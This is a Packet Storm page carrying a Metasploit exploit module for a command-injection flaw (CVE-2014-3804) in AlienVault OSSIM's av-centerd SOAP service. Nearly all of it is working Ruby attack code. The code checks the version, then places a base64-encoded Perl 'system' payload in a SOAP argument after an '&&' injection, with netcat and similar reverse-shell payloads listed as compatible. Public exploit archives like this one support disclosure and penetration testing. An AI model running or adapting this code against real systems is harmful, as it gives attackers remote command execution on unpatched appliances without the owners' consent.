Lucene search

K
packetstormJuan vazquezPACKETSTORM:127160
HistoryJun 19, 2014 - 12:00 a.m.

AlienVault OSSIM av-centerd Command Injection

2014-06-1900:00:00
juan vazquez
packetstormsecurity.com
21

0.953 High

EPSS

Percentile

99.4%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include REXML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AlienVault OSSIM av-centerd Command Injection',  
'Description' => %q{  
This module exploits a code execution flaw in AlienVault 4.6.1 and  
prior. The vulnerability exists in the av-centerd SOAP web service,  
where the update_system_info_debian_package method uses perl backticks  
in an insecure way, allowing command injection. This module has been  
tested successfully on AlienVault 4.6.0.  
},  
'Author' =>  
[  
'Unknown', # From HP ZDI team, Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-3804'],  
['BID', '67999'],  
['ZDI', '14-202'],  
['URL', 'http://forums.alienvault.com/discussion/2690']  
],  
'Privileged' => true,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
#'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied  
'Compat' => {  
'RequiredCmd' => 'perl netcat-e openssl python gawk'  
}  
},  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'Targets' =>  
[  
[ 'AlienVault <= 4.6.1', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 5 2014'))  
  
register_options(  
[  
Opt::RPORT(40007)  
], self.class)  
end  
  
def check  
version = ""  
res = send_soap_request("get_dpkg")  
  
if res &&  
res.code == 200 &&  
res.headers['SOAPServer'] &&  
res.headers['SOAPServer'] =~ /SOAP::Lite/ &&  
res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/  
  
version = $1  
end  
  
if version.empty? || version >= "4.7.0"  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Appears  
end  
end  
  
def exploit  
send_soap_request("update_system_info_debian_package", 1)  
end  
  
def build_soap_request(method)  
xml = Document.new  
xml.add_element(  
"soap:Envelope",  
{  
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",  
'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/",  
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",  
'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",  
'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"  
})  
body = xml.root.add_element("soap:Body")  
m = body.add_element(  
method,  
{  
'xmlns' => "AV/CC/Util"  
})  
args = []  
args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})  
args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})  
args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})  
args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})  
(0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }  
  
if method == "update_system_info_debian_package"  
args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})  
perl_payload = "system(decode_base64"  
perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"  
args[4].text = "#{rand_text_alpha(4 + rand(4))}"  
args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"  
end  
  
xml.to_s  
end  
  
def send_soap_request(method, timeout = 20)  
soap = build_soap_request(method)  
  
res = send_request_cgi({  
'uri' => '/av-centerd',  
'method' => 'POST',  
'ctype' => 'text/xml; charset=UTF-8',  
'data' => soap,  
'headers' => {  
'SOAPAction' => "\"AV/CC/Util##{method}\""  
}  
}, timeout)  
  
res  
end  
  
end  
`

0.953 High

EPSS

Percentile

99.4%